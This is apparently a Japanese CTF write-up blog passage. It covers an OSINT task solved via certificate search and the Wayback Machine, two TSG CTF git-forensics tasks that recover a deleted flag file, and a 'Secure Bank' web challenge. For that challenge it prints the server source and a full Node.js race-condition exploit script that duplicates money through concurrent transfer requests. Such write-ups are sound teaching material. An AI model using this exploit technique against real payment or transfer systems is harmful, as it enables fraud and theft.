  2. military-grade-secrets.devのサブドメインで証明書を作成した。
  3. 名前が気に入らなかったので、新しいドメイン名を取得した。
  4. Webサイトの公開を停止した。

military-grade-secrets.devのサブドメインで証明書を作成しているということなので、証明書の登録を確認しました。 今回は、Check website securityというサービスを利用して検索しました。

ssltools.digicert.com

「military-grade-secrets.dev」と入力し、「Include subdomains」にチェックを入れて検索します。 以下の2つのサブドメインで登録されていることが確認できました。

  • secret-storage.military-grade-secrets.dev
  • now.under.even-more-militarygrade.pw.military-grade-secrets.dev

f:id:tsalvia:20190514021828p:plain

どちらか片方にcurlで接続してみます。

$ curl https://secret-storage.military-grade-secrets.dev
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="https://forget-me-not.even-more-militarygrade.pw">here</A>.
</BODY></HTML>

https://forget-me-not.even-more-militarygrade.pw にリダイレクトされるようになっていました。 curlで接続してみましたが、今度は接続できませんでした。 問題文にあるようにサーバは既に切断されているようです。

Finally he got scared and unplugged the server.

$ curl https://forget-me-not.even-more-militarygrade.pw
curl: (7) Failed to connect to forget-me-not.even-more-militarygrade.pw port 443: Connection refused

ウェブアーカイブに残っているかもしれないと、アクセスしてみるとフラグの書かれたページを表示することができました。

web.archive.org

http://web.archive.org/web/20190309234647/http://forget-me-not.even-more-militarygrade.pw/

f:id:tsalvia:20190514023113p:plain

FLAG

OOO{DAMNATIO_MEMORIAE}

TSG CTF Writeup

TSG CTF について

東京大学コンピュータサイエンス系学生団体TSGと株式会社FlattによるCTFの大会が開催されました。 2019年5月4日(土)午後4時〜2019年5月5日(日)午後4時(24時間)

prtimes.jp

1位から3位までのチームには、賞金が貰えるそうです。 私も参加しましたが、全然歯が立たず、2/22問しか解くことができませんでした。 結果は、370点で79/410位でした。

f:id:tsalvia:20190506204245p:plain

TSG CTF Writeup(4問)

[Warmup] Sanity Check

問題

Log in to our Discord server for TSG CTF and find the flag here:

TSG CTF のDiscordサーバー にログインして↓の場所に書いてあるフラグを送信してください。

f:id:tsalvia:20190506030546p:plain

解答例

TSG CTFのDiscodeサーバに接続して、#announcements とトピックに書かれたフラグを送信するだけのウォーミングアップ問題です。

FLAG

TSGCTF{ur_here_cuz_u_absolutely_won_inshack_ctf?}

[Forensics] Obliterated File

問題

※ This problem has unintended solution, fixed as "Obliterated File Again". Original problem statement is below.

Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I'm not sure but anyway typed them. It should be ok, right?

※ この問題は非想定な解法があり,"Obliterated File Again" で修正されました.元の問題文は以下の通りです.

TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた!とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫...?

Difficulty Estimate: easy

$ git filter-branch --index-filter "git rm -f --ignore-unmatch problem/flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now

添付ファイル(problem.zip)

解答例

添付されたzipファイルを展開すると、gitで管理されていたであろうソースコードが確認できます。 下記の記事を参考にflagファイルの復元を試してみると、あっさり復元に成功してしまいました。

$ unzip problem.zip
$ cd easy_web/
$ git rev-list -n 1 HEAD -- flag
28d2b74b0c40583a87cf275f9f0cdfd55042884d
$ git checkout 28d2b74b0c40583a87cf275f9f0cdfd55042884d^ -- flag
$ ls
README.md flag problem

ただし、flagファイルは、zlibで圧縮されているようでそのまま読み取ることができません。

$ file flag
flag: zlib compressed data

しばらくzip内のファイルを探索していると、 easy_web/problem/main.cr にzlibで圧縮されたファイルの読み取り処理がありました。

require "./src/*"
require "sqlite3"
#require "zlib"
#flag = File.open("./flag", "r") do |f|
#    Zlib::Reader.open(f) do |inflate|
#        inflate.gets_to_end
#    end
#end
flag = ENV["flag"]

`rm -rf data.db`
DB.open "sqlite3://./data.db" do |db|
    db.exec "CREATE TABLE accounts (id text primary key, pass text);"
    db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');"
end

Kemal.config.env = "production"
Kemal::Session.config.secret = ENV["session_secret"]

コメントアウトされているので、TSG CTF運営がわざと残してくれたものだと思います。せっかくなのでこれを利用して、フラグを読み取りました。

まずは、main.crを下記の通りに書き換えます。

require "zlib"
flag = File.open("../flag", "r") do |f|
    Zlib::Reader.open(f) do |inflate|
        inflate.gets_to_end
    end
end
print flag
print "\n"

下記コマンドを実行すると、フラグが表示されます。

$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

FLAG

TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

[Forensics] Obliterated File Again

問題

I realized that the previous command had a mistake. It should be right this time...?

さっきのコマンドには間違いがあったことに気づきました.これで今度こそ本当に,本当に大丈夫なはず......?

Difficulty Estimate: easy - medium

$ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now

添付ファイル(problem.zip)

解答例

Obliterated File と同様の手法では、flagファイルを復元することができませんでした。 そのため、別の案として、ハッシュ値を総当たりで git cat-file -p xxxx コマンドを実行し、flagファイルを復元する作戦を取りました。

  1. ハッシュ値を4桁分だけ求める。
  2. git cat-file -p を実行して、ファイルに書き出す。
  3. 上記を繰り返す。
# brute_git_catfile.py
import subprocess
from tqdm import tqdm

for i in tqdm(range(0xFFFF)):
    hash4 = hex(i).split('x')[1].zfill(4)
    try:
        subprocess.check_call("git cat-file -p " + hash4 + ">> git_catfile.log 2>/dev/null", shell=True)
    except:
        pass

上記のプログラムですべてのファイルを出力したので、grepで絞り込んでflagファイルを復元します。

$ python brute_git_catfile.py
100%|██████████| 65535/65535 [03:22<00:00, 323.34it/s]
$ grep flag git_catfile.log | grep blob
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
$ git cat-file -p c1e375244c834c08d537d564e2763a7b92d5f9a8 > flag

復元したファイルは、前の問題(Obliterated File)と同様にzlibで圧縮されているようです。 同様の方法で展開すれば、フラグを取得できます。

$ file flag
flag: zlib compressed data

FLAG

TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}

[Web] Secure Bank(当日は間に合いませんでした)

当日は、タイミング調整が上手くいかず、間に合いませんでした。 リクエスト回数を増やしたところ、フラグが取得できたので紹介します。

問題

I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!!

http://34.85.75.40:19292/

ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。

http://34.85.75.40:19292/

Difficulty estimate: Easy

require 'digest/sha1'
require 'rack/contrib'
require 'sinatra/base'
require 'sinatra/json'
require 'sqlite3'

STRETCH = 1000
LIMIT   = 1000

class App < Sinatra::Base
  DB = SQLite3::Database.new 'data/db.sqlite3'
  DB.execute <<-SQL
    CREATE TABLE IF NOT EXISTS account (
      user TEXT PRIMARY KEY,
      pass TEXT,
      balance INTEGER
    );
  SQL

  use Rack::PostBodyContentTypeParser
  enable :sessions

  def err(code, message)
    [code, json({message: message})]
  end

  not_found do
    redirect '/index.html', 302
  end

  get '/source' do
    content_type :text

    IO.binread __FILE__
  end

  get '/api/flag' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
    row = res.next
    balance = row && row[0]
    res.close

    return err(401, 'login first') unless balance
    return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000

    json({flag: IO.binread('data/flag.txt')})
  end

  post '/api/balance' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user)
    row = res.next
    res.close

    return err(401, 'login first') unless row

    json({balance: row[0]})
  end

  post '/api/register' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    sleep 1

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    begin
      DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass
    rescue SQLite3::ConstraintException
      return err(422, 'the username has already been taken')
    end

    return 200
  end

  post '/api/login' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass
    row = res.next
    res.close

    return err(401, 'username and password did not match') unless row

    session[:user] = user
    return 200
  end

  post '/api/logout' do
    session[:user] = nil
    return 200
  end

  post '/api/transfer' do
    return err(401, 'login first') unless src = session[:user]

    return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
    return err(400, 'bad request') unless amount = params[:amount] and String === amount
    return err(400, 'bad request') unless amount = amount.to_i and amount > 0

    sleep 1

    hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
    hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
    row = res.next
    balance_src = row && row[0]
    res.close
    return err(422, 'no enough coins') unless balance_src >= amount

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
    row = res.next
    balance_dst = row && row[0]
    res.close
    return err(422, 'no such user') unless balance_dst

    balance_src -= amount
    balance_dst += amount

    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

    json({amount: amount, balance: balance_src})
  end
end

解答例

サーバに接続するとユーザ登録画面が表示されます。 ユーザ登録後、ログインすると以下の3つの機能が確認できます。

  • 別のユーザにお金を送金する。
  • フラグを表示する。
  • ログアウトする。

フラグの表示機能を試してみると、「earn more coins!!!」と表示されました。 どうやら何らかの方法でお金を稼げば、フラグが表示できそうです。 次にソースコードを読んでみると、以下の項目が確認できました。

  • 10,000,000,000円所持していれば、フラグ表示機能を利用できる。
  • ユーザ名やパスワードなどの入力値は、1000文字が最大値となっている。
  • ユーザ名とパスワードは、SHA1で1000回ハッシュを取った後、データベースに登録される。
  • バインドメカニズムを使用しており、SQLインジェクションができそうにない。
  • 送金処理(transfer API)に排他制御の処理がなく、なぜかsleepで1秒待つ処理がある。

送金処理の不備に着目して、お金を増やす方法を考えてみます。 下記の処理を行うことができれば、お金を倍々に増やしていくことができそうです。

  1. 2つの送金処理を同時に行う。

    • user0 が user1 に1円だけ送金する。(処理x)
    • user1 が user2 に全額送金する。(処理y)

    現在の状態:

    user0 user1 user2
    100 100 100
  2. 処理xでuser1の残高を取得する。まだ、処理yの送金処理が行われていないので、100円持っていると認識される。

  3. 処理yでuser1の残高を取得する。
  4. 処理yでuser1 から user2 に 全額送金される。

    現在の状態:

    user0 user1 user2
    100 0 200
  5. 処理xでuser0 から user1 に 1円が送金される。(2)より、user1の残高が100円だと認識しているので、user1の所持金が101円となってしまう。

    現在の状態:

    user0 user1 user2
    99 101 200

このような処理を行うでプログラムをnodejsで組みました。 以下の処理を行います。

  1. 3人分のユーザを登録する。
  2. 各ユーザでログインし、ログイン状態の保持のためcookieを保存しておく。
  3. user0 から user1に1円を送金する。 次の処理を上手く割り込めるようにするため、同時に20回のリクエストを投げる。
  4. user1 から user2 に全額送金する。
  5. user0のお金がなくならないように、user2 から user0 に20円送金する。
  6. 同様に、user2 から user1 に全額送金する。
  7. 3~6を目標金額まで繰り返す。
'use strict';
const request = require('request');
const Promise = require('promise');
const async = require('async');
const await = require('await');

function register(user, passwd) {
    const headers = {
        'Content-Type': 'application/json',
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/register',
        method: 'POST',
        headers: headers,
        json: { "user": user, "pass": passwd }
    }

    return new Promise((resolve, reject) => {
        request(options, (error, response, body) => {
            if (error) {
                reject(error);
            } else {
                resolve(body);
            }
        });
    });
};

function login(user, passwd) {
    const headers = {
        'Content-Type': 'application/json',
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/login',
        method: 'POST',
        headers: headers,
        json: { "user": user, "pass": passwd }
    }

    return new Promise((resolve, reject) => {
        request(options, (error, response, body) => {
            if (error) {
                reject(error);
            } else {
                const cookie = response.headers['set-cookie'][0].split(';')[0];
                resolve(cookie);
            }
        });
    });
};

function balance(cookie_string) {
    const headers = {
        'Content-Type': 'application/json',
        'Cookie': cookie_string,
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/balance',
        method: 'POST',
        headers: headers,
        json: {}
    }

    return new Promise((resolve, reject) => {
        request(options, function (error, response, body) {
            if (body) {
                resolve(body.balance);
            } else if (error) {
                reject(error);
            }
        });
    });
}

function transfer(cookie_string, target, amount) {
    const headers = {
        'Content-Type': 'application/json',
        'Cookie': cookie_string,
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/transfer',
        method: 'POST',
        headers: headers,
        json: { 'target': target, 'amount': amount.toString(10) }
    }

    request(options, function (error, response, body) {
        if (error)
            console.log(error);
    });
}

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

(async () => {
    const users = ['bank1', 'bank2', 'bank3'];
    const passwd = 'aaaaaa';
    const cookies = [];
    const keepcount = 20;

    for (let i = 0; i < users.length; i++) {
        await register(users[i], passwd);
        let cookie = await login(users[i], passwd);
        cookies.push(cookie);
    }

    while (true) {
        // 現在の残高取得
        const balances = [];
        for (let i = 0; i < users.length; i++) {
            const money = await balance(cookies[i]);
            balances.push(money);
            console.log(users[i], money);
        }

        // 全額を送金するユーザ(users[1])に1円ずつ送金する
        for (let i = 0; i < keepcount; i++)
            transfer(cookies[0], users[1], 1); // 非同期

        // 全額をusers[2]に送金する
        await transfer(cookies[1], users[2], balances[1]);

        balances[1] = await balance(cookies[2]);
        if (balances[1] >= 10000000000)
            break;

        // 送金したお金を元に戻す
        await transfer(cookies[2], users[0], keepcount);
        await sleep(1000);
        await transfer(cookies[2], users[1], balances[1] - keepcount);
        console.log('---------------');
    }
})();

必要なパッケージのインストールと実行結果

$ npm install request promise async await
$ node secure_bank.js

# 省略

---------------
bank1 2
bank2 20
bank3 5938478442
---------------
bank1 20
bank2 1942115006
bank3 3996363441
---------------
bank1 21
bank2 1942115015
bank3 5938478427
---------------
bank1 21
bank2 5938478445
bank3 3884230001
---------------
bank1 22
bank2 20
bank3 9822708426
---------------
bank1 1
bank2 3884230001
bank3 5938478445
---------------
bank1 0
bank2 3884230017
bank3 9822708426
---------------
bank1 0
bank2 9822708458
bank3 7768459998
---------------
bank1 21
bank2 20
bank3 17591168436

お金を倍々に増やすことができました。あとは、フラグ取得APIを使ってフラグを確認します。

f:id:tsalvia:20190506203539p:plain

FLAG

TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}